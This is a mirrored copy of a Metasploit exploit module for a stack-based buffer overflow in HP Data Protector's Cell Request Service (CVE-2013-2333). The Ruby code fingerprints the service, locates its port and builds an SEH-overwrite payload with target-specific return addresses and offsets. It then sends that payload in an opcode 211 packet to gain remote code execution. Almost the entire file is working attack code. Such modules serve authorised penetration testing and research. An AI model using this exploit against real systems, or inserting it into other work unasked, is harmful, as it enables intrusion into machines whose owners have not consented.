Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/hp_dataprotector_crs.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'HP Data Protector Cell Request Service Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector
19
product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell
20
Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested
21
successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3.
22
},
23
'Author' => [
24
'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery
25
'juan vazquez' # Metasploit module
26
],
27
'References' => [
28
[ 'CVE', '2013-2333' ],
29
[ 'OSVDB', '93867' ],
30
[ 'BID', '60309' ],
31
[ 'ZDI', '13-130' ]
32
],
33
'Privileged' => true,
34
'Payload' => {
35
'Space' => 4096,
36
'BadChars' => "\x00\xff\x20" # "\x00\x00", "\xff\xff" and "\x20\x00" not allowed
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Automatic', {} ],
41
[
42
'HP Data Protector 6.20 build 370 / Windows XP SP3',
43
{
44
'Ret' => 0x00436fe2, # ppr from crs.exe
45
'Offset' => 15578
46
}
47
],
48
[
49
'HP Data Protector 7.00 build 72 / Windows XP SP3',
50
{
51
'Ret' => 0x004cf8c1, # ppr from crs.exe
52
'Offset' => 15578
53
}
54
]
55
],
56
'DefaultTarget' => 0,
57
'DisclosureDate' => '2013-06-03',
58
'Notes' => {
59
'Reliability' => UNKNOWN_RELIABILITY,
60
'Stability' => UNKNOWN_STABILITY,
61
'SideEffects' => UNKNOWN_SIDE_EFFECTS
62
}
63
)
64
)
65
66
deregister_options('RPORT') # The CRS service runs on a random port
67
end
68
69
def build_pkt(fields)
70
data = "\xff\xfe" # BOM Unicode
71
fields.each do |k, v|
72
if k == "Payload"
73
data << "#{v}\x00\x00"
74
else
75
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
76
end
77
data << Rex::Text.to_unicode(" ") # Separator
78
end
79
80
data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
81
data << "\x00\x00" # Ending
82
return [data.length].pack("N") + data
83
end
84
85
def get_fingerprint
86
ommni = connect(false, { 'RPORT' => 5555 })
87
ommni.put(rand_text_alpha_upper(64))
88
resp = ommni.get_once(-1)
89
disconnect
90
91
if resp.nil?
92
return nil
93
end
94
95
return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl
96
end
97
98
def get_crs_port
99
pkt = build_pkt({
100
"Opcode" => "2",
101
"FakeMachineName" => rand_text_alpha(8),
102
"Unknown1" => "0",
103
"FakeDomainUser" => rand_text_alpha(8),
104
"FakeDomain" => rand_text_alpha(8),
105
"FakeLanguage" => rand_text_alpha(8),
106
"Unknown2" => "15"
107
})
108
ommni = connect(false, { 'RPORT' => 5555 })
109
ommni.put(pkt)
110
resp = ommni.get_once(-1)
111
disconnect
112
113
if resp.nil?
114
return nil
115
end
116
117
res_length, bom_unicode, res_data = resp.unpack("Nna*")
118
119
fields = res_data.split(Rex::Text.to_unicode(" "))
120
121
opcode = fields[0]
122
port = fields[1]
123
124
if not opcode or not port
125
vprint_error("Unexpected response")
126
return nil
127
end
128
129
opcode = Rex::Text.to_ascii(opcode.chomp("\x00\x00"))
130
131
if opcode != "109"
132
vprint_error("Unexpected opcode #{opcode} in the response")
133
return nil
134
end
135
136
port = Rex::Text.to_ascii(port.chomp("\x00\x00"))
137
return port.to_i
138
end
139
140
def check
141
fingerprint = get_fingerprint
142
143
if fingerprint.nil?
144
vprint_error("Unable to fingerprint")
145
return Exploit::CheckCode::Unknown
146
end
147
148
port = get_crs_port
149
150
if port.nil?
151
vprint_status("HP Data Protector version #{fingerprint}")
152
vprint_error("But CRS port not found")
153
else
154
vprint_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}")
155
end
156
157
if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/
158
# More likely to be exploitable
159
return Exploit::CheckCode::Appears
160
elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/
161
# More likely to be exploitable
162
return Exploit::CheckCode::Appears
163
elsif fingerprint =~ /HP Data Protector A\.07\.00/
164
return Exploit::CheckCode::Appears
165
elsif fingerprint =~ /HP Data Protector A\.07\.01/
166
return Exploit::CheckCode::Appears
167
elsif fingerprint =~ /HP Data Protector A\.06\.20/
168
return Exploit::CheckCode::Appears
169
elsif fingerprint =~ /HP Data Protector A\.06\.21/
170
return Exploit::CheckCode::Appears
171
end
172
173
return Exploit::CheckCode::Safe
174
end
175
176
def get_target
177
fingerprint = get_fingerprint
178
179
if fingerprint.nil?
180
return nil
181
end
182
183
if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/
184
return targets[1]
185
elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/
186
return targets[2]
187
else
188
return nil
189
end
190
end
191
192
def exploit
193
if target.name =~ /Automatic/
194
print_status("Trying to find the target version...")
195
my_target = get_target
196
else
197
my_target = target
198
end
199
200
if my_target.nil?
201
fail_with(Failure::NoTarget, "Failed to autodetect target")
202
end
203
204
print_status("Trying to find the CRS service port...")
205
port = get_crs_port
206
if port.nil?
207
fail_with(Failure::NotFound, "The CRS service has not been found.")
208
else
209
print_good("CRS service found on #{port}/TCP")
210
connect(true, { 'RPORT' => port })
211
end
212
213
pkt = build_pkt({
214
"Opcode" => "0",
215
"EndPoint" => "GUICORE",
216
"ClientFingerprint" => "HP OpenView OmniBack II A.06.20",
217
"FakeUsername" => rand_text_alpha(8),
218
"FakeDomain" => rand_text_alpha(8),
219
"Unknown1" => "488",
220
"Unknown2" => rand_text_alpha(8)
221
})
222
print_status("Sending packet with opcode 0...")
223
sock.put(pkt)
224
data = sock.get_once(-1)
225
226
if data.nil?
227
fail_with(Failure::Unknown, "Error while communicating with the CRS Service")
228
end
229
230
if Rex::Text.to_ascii(data) !~ /NT-5\.1/
231
fail_with(Failure::NoTarget, "Exploit only compatible with Windows XP targets")
232
end
233
234
pkt = build_pkt({
235
"Opcode" => "225"
236
})
237
print_status("Sending packet with opcode 225...")
238
sock.put(pkt)
239
data = sock.get_once(-1)
240
241
if data.nil?
242
fail_with(Failure::Unknown, "Error while communicating with the CRS Service")
243
end
244
245
bof = payload.encoded
246
bof << rand_text(my_target["Offset"] - payload.encoded.length)
247
bof << generate_seh_record(my_target.ret)
248
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{my_target['Offset'] + 8}").encode_string
249
bof << rand_text(100) # Trigger Exception
250
251
pkt = build_pkt({
252
"Opcode" => "211",
253
"Payload" => bof
254
})
255
print_status("Sending malicious packet with opcode 211...")
256
sock.put(pkt)
257
disconnect
258
end
259
end
260
261